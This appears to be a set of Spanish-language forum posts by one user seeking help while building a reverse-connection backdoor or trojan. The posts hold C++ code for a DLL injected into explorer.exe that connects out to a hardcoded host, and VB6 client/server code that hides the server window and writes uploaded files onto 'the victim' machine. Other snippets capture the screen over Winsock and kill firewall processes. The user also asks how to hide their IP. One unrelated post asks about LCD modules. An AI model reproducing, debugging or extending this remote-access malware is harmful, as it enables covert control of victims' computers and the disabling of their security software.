Temas

Hola a todos, estoy terminando de desarrollar un backdoor de conexión inversa y me surgió la siguiente duda. Supongamos que utilizo un dns tipo noIp para que el servidor se conecte a mi pc, ¿Pero no sigue siendo totalmente rastreable mi ip?. Esta duda me surgió leyendo el articulo de encadenamiento de proxies, enfoque que no creo poder utilizar para este tipo de conexión.
Las preguntas son las siguientes:

-¿Que tipo de técnica se utiliza para ocultar la ip en este caso?
-¿Con una IP, es posible rastrear una ubicación especifica?

Gracias, Saludos.

Hola,

tengo la siguiente consulta. He desarrollado una aplicacion de conexión remota, servidor hecho en c y el cliente en c#. Aclaro que es de conexión inversa osea que el cliente recibe todas las conexiones. La aplicacion anda perfecto, pero estoy tratando de probarlo desde la empresa donde trabajo y no logro que se establesca dicha conexión. Aca es donde entra la pregunta hacia ustedes. Ya se que deben haber mil factores que esten impidiendo dicha conexión, lo que quisiera saber es que me orienten un poco en que tipo de tecnologias pueden estar usando para filtrar las conexiones indeseadas, se que existe la posibilidad de que utilicen algun proxy socks. Aunque en ese caso me gustaria saber como comprobar eso, no conozco iptables, pero supongo que tambien podrian estar utilizandolo. Solo quiero saber que tipo de arquitectura y tecnologias se suelen usar con respecto a la seguridad informatica en las empresas.

Gracias, Saludos

Hola, como les va.

Queria consultarle a ustedes un problema con el que me he encontrado.

Estoy haciendo una aplicacion de tipo cliente servidor. Cliente en vb.net y el server en c/c++. La comunicacion entre estos dos funciona perfecta cuando compilo el server en un ejecutable, pero lo que realmente quiero hacer es utilizarlo desde una dll, inyectando esta misma en el proceso explorer.exe. Probe todos los metodos explicados en el paper de mazard. La inyeccion se realiza exitosamente, el inconveniente es que: les muestro el main de mi aplicacion asi lo entienden mejor:

Código [Seleccionar] Expandir


bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
Servidor * serv;
serv = new Servidor;
serv->Ip=const_cast<char *>(IP);
serv->Puerto=8000;
serv->Conectar();

while(serv->Conectado==false)
{
serv->Conectar();
}

return 0;
}

Si quito el while el proceso que tiene la dll (explorer.exe) injectada se cuelga y deja de funcionar, y debo reiniciarlo para que funcione nuevamente.

Realmente debo dejar ese while ya que es el que me asegura que cuando se empece a escuchar desde el cliente(conexión inversa) este se conecte automaticamente.

No se si alguno tuvo que enfrentar este problema alguna vez. Ralmente soy nuevo tanto en c/c++ y mas aun con el tema de dll injection.

PD: Probe con todos los tipos de inyeccion y con todos me ocurre los mismo, y al quitar ese while, no se cuelga.
Quizas exista alguna forma de realizar que el server intente conectase al realizarse en la escucha del puerto.

Gracias, Saludos.

EI: juntando mensajes.

Sigo probando con mi codigo y me di cuenta que, el while no es, ya que cuando se establece la conexión entre el cliente y el servidor el proceso al que le inyecte la dll se sigue colgando. Pregunta? Es normal que se cuelgue un proceso al realizar una inyeccion dll o es algo en mi codigo que debe estar probocando esto.

Gracias, Saludos.

El programa que estoy tratando de hacer es muy sencillo se trata de mover el mouse y hacer click en determinada coordenada, el mouse lo mueve pero no me hace click. En esa coordenada puse el icono de mi pc para que haga doble click pero no lo hace alguno save por que les dejo el codigo:

Modulo:

Código [Seleccionar] Expandir

Public Declare Function SetCursorPos Lib "user32.dll" (ByVal x As Long, ByVal y As Long) As Long
Public Declare Sub mouse_event Lib "user32.dll" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)

Const MOUSEEVENTF_ABSOLUTE = &H8000
Const MOUSEEVENTF_LEFTDOWN = &H2
Const MOUSEEVENTF_LEFTUP = &H4
Const MOUSEEVENTF_MIDDLEDOWN = &H20
Const MOUSEEVENTF_MIDDLEUP = &H40
Const MOUSEEVENTF_MOVE = &H1
Const MOUSEEVENTF_RIGHTDOWN = &H8
Const MOUSEEVENTF_RIGHTUP = &H10
Const MOUSEEVENTF_WHEEL = &H80
Const MOUSEEVENTF_XDOWN = &H100
Const MOUSEEVENTF_XUP = &H200
Const WHEEL_DELTA = 120
Const XBUTTON1 = &H1
Const XBUTTON2 = &H2

Form:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
SetCursorPos "510", "480"
mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
End Sub

Hola queria saber como hacer un progressbar en el cliente cuando se envia un archivo al servidor les dejo mi codigo para ver que le hay que agregarle por que al recivir si puedo hacer el progressbar pero al enviar no.

Cliente:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim Data As String
ws.GetData Data

If Left(Data, 8) = "SendFile" Then
Open "e:\bad.mp3" For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1
LenFile2 = Len(Send)
ws.SendData Send
End If
End Sub

Hace rato que llevo tratando de hacer este explorador remoto y no logro corregir un bug que no se puede dejar pasar por alto, y es que no puedo descargar archivos mas grandes de 500kb, por favor algun GROSO que me de una mano y se fije cual es el problema por que mi cabeza ya no puede mas, no logro detectar el problema.

Les dejo el link de el codigo fuente:

http://rapidshare.com/files/5931033/File_Manager.rar

Hola estoy tratando de hacer un explorador remoto y resulta que cuando quiero mandar archivos al server va todo ok pero cuando intento descargar del el tengo algunos problemas, si el archivo es menor de 500kb todo joya el archivo se recive pero si supera ese tamaño el archivo nunca llega. Lo estoy provando en mi maquina (127.0.0.1). No se si alguna vez a alguno le paso esto que lo comente asi me ayuda un poco el codigo que utilizo tanto para mandar archivos al server como para recivir es el mismo pero obviamente invertido(Bue yo me entiendo). aca se los pongo aver si encuentran si hay algo que no corresponde:

CLIENTE:

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
'On Error Resume Next
Dim Data As String
ws.GetData Data

'------------------------------ ENVIO----------------------------------
If Left(Data, 8) = "SendFile" Then
Open Text1.Text For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1
ws.SendData Send
End If
'--------------------------------RECIVIR-------------------------------
If Envio = True Then
DataFile = DataFile & Data
If Len(DataFile) = LenFile Then
Open nombre For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
End If
End If

If Left(Data, 3) = "Tam" Then
dato = Split(Data, "|")
LenFile = dato(1)
Envio = True
ws.SendData "SendFile"
End If


SERVER:

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data
'----------------------------------RECIVE----------------------------------------
If Envio = True Then
DataFile = DataFile & Data
If Len(DataFile) = LenFile Then
Open Text1.Text For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
End If
End If

If Left(Data, 7) = "archivo" Then
dato = Split(Data, "|")
LenFile = dato(1)
Namee = dato(2)
Text1.Text = "c:\" & Namee
Envio = True
ws.SendData "SendFile"
End If
'-----------------------------------ENVIA---------------------------------------
If Left(Data, 9) = "Descargar" Then
dato = Split(Data, "|")
directorioarchivo = dato(1)
ws.SendData "Tam" & "|" & FileLen(directorioarchivo)
End If

If Left(Data, 8) = "SendFile" Then
Open directorioarchivo For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1
ws.SendData Send
End If

Hola estoy tratando de hacer un explorador remoto y quiero que se vean los iconos en miniatura, asi se puede ver la vista preliminal de las imagenes. En www.recursosvisualbasic.com.ar Hay un explorador remoto que tiene esta funcion pero la verdad no entendi muy bien el codigo.
Bueno si alguien save hacer esto y me quiere dar una mano se lo agradeceria.

Alquien save como hacer para mover el cursor, es decir por ejemplo al hacer click en el .exe que el cursor se mueva automaticamente hacia algun lado especifico de la pantalla y que haga click ahi.
No se si se entiende

gracias

Estoy tratando de capturar la pantalla y enviarla a otro formulario por winsock, pero no logro enviarla, ya que nunca llega la imagen lo estoy haciendo asi:

EL FORM QUE QUIERO QUE LA RECIVA:

Código [Seleccionar] Expandir

Dim datos As String
ws.GetData datos
End Sub
Open "e:\captura.bmp" For Binary As #1
Put #1, , datos
Close #1

EL FORM QUE ENVIA LA CAPTURA

FUNCION QUE SAQUE DEL FORO:

Código [Seleccionar] Expandir


Private Function Captura_Screen()

Clipboard.Clear
'capturamos
keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYUP, 0

'mientras no se pueda cojer el contenido
Do While Clipboard.GetData = False
DoEvents
Loop

Picture1.Picture = Clipboard.GetData
'borramos el portapapeles
Clipboard.Clear
SavePicture Picture1.Picture, "e:\sht.bmp"

Do While Len(Dir("e:\sht.bmp")) = 0
    DoEvents
Loop
'ya se ha guardado el archivo
End Function

Private Sub Command1_Click()
Call Captura_Screen
Dim imagen As String
Open "e:\sht.bmp" For Binary As #1
Get #1, , imagen
Close #1
ws.SendData imagen
End Sub

PD:se que es un tema comentado pero no se que pasa en teoria creo que me tendria que funcionar.

Gracias

Hola Estoy tratando de transferir archivos pero al agrgar un form no me funciona, es decir si pongo el code todo en un mismo form si me funciona la transacion de archivos pero cuando agrego otro no me va, mejor les pongo el codigo y se vana dar cuenta de que le hablo...Gracias

CLIENTE:

FORM1:

Código [Seleccionar] Expandir

Public filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
Public ext As String, path As String, nombre As String, directorio As Variant, socket As String

Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub

Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function

Private Sub List1_Click()
socket = List1.Text
Form2.Show
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub

Private Sub ws2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws2(socket).GetData datos
If datos = "enviar" Then
progreso = True
ws2(socket).SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    filesize = Mid(datos, 8)
    ws2(socket).SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
        pb.Min = 0
        pb.Max = filesize
        pb.Value = Len(datos2)
        pb.Refresh
    End If
End Sub

FORM2:
Private Sub Command1_Click()
Form1.cd.Filter = "Todos los archivos |*.*"
Form1.cd.ShowOpen
Open Form1.cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = Form1.cd.FileTitle
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
Label1.Caption = filesize
Form1.ws2(socket).SendData "archivo" & "|" & filesize & "|" & path
End Sub


Código [Seleccionar] Expandir

SERVER:

Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String, dir As Variant
Private Sub Form_Load()
App.TaskVisible = False
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub

Private Sub Timer1_Timer()
If Not ws.State = 7 Then
ws.Close
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End If
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String, dato As Variant
ws.GetData datos
If datos = "enviar" Then
ws.SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    dato = Split(datos, "|")
    filesize = dato(1)
    path = dato(2)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        Label3 = datos2
        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
End Sub


Les agradeceria mucho si me pudieran ayudar a saber cual es el problema ya que hace mucho tiempo que ando con esto y le encuentro una solucion.
GRACIAS

Buenas la cuestion es la siguien resulta que estaba haciendo el troyano para una sola conexión y funcionaba perfecto, el tema es que cuando me meti a ver como hacerlo con muchas conexiones se me complico un poco, ya que no puedo transferir archivos, pero si ejecutarlos, no me tira ningun error ni nada simplemente cuando me voy a fijar si transfirio el archivo este no esta. Resumi un poco el code.

ACA VA EL CODE:

CLENTE

Código [Seleccionar] Expandir

Dim filesize As Long, filedata As String, bytes As Long, directorio As String, socket As Variant
Private Sub Command1_Click()
cd.Filter = "Todos los archivos |*.*"  'pongo el filtro de los exes
cd.ShowOpen 'muestro la ventana para abrir el archivo
Open cd.FileName For Binary As #1 'abro el archivo en modo binario
filedata = Input(LOF(1), 1)'lo guardo
Close #1 'lo cierro
nombre = cd.FileTitle'guardo el nobre del archivo
directorio = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", directorio)'la ruta donde se guardara el archivo en el server
directorio = directorio & nombre'concateno
filesize = Len(filedata) 'calcula el tamaño en bytes'calculo el tamaño del archivo
ws2(socket).SendData "archivo" & "|" & filesize & "|" & directorio & "|" & filedata'mando estos datos
End Sub

Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub

Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function

Private Sub List1_Click()
socket = List1.Text
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub

SERVIDOR

Código [Seleccionar] Expandir

Dim filesize As Long, filedata As String, bytes As Long, directorio As String
Private Sub Form_Load()
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos 'agarro los datos
If Left(datos, 7) = "archivo" Then 'si los primeros 7 caracteres son "archivo" entonces
    dato = Split(datos, "|") 'separo
    filesize = dato(1)
    directorio = dato(2)
    filedata = dato(3)
    Open directorio For Binary As #1 'abro un directorio, con la variable directorio
    Put #1, 1, filedata'y coloco el archivo
    Close #1'lo cierro
End If
End Sub


Hola que tal la verdad que en electronica soy muy nuevo, por eso estoy posteando esta prengunta, resulta que quiero armarme una mini pc con el mother VIA EPIA N-Series Nano-ITX, si no lo conocen aqui les dejo un enlace,

http://www.via.com.tw/en/products/mainboards/nano_itx/epia_n/

lo que quiero hacer es encastrarle de alguna manera una pantalla lcd de unas determinadas pulgadas (todavia no lo decidi), y aqui viene el problema, empece a buscar pantallas lcd masomenos pequeñas, y no encontre mucho, lo que si encontre fue este enlace:

http://www.lcdtft.com/

lo que me intereso fueron los lcd modules, y ahi va la pregunta ¿Esos modulos como se arman, es decir como se conectan, o directamente se les pone una carcaza, se enchufan y ya esta?

esa es mi duda. Si alguien me la puede aclarar se lo agradeceria .

Gracias

Hola queria saber si alguien me puede ayudar con este codigo
lo que quiero hacer es matar procesos de firewalls pero al estar bloqueadosno se como hacerlo aca les dejo el codigo de como lo estoy tratando de hacer pero solo mata los procesos que no estan bloqueados.

Private Sub Command1_Click()
KillProcess Text1.Text
End Sub

Public Sub KillProcess(ByVal processName As String)
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
servicename = LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
ErrHandler:
Err.Clear
End Sub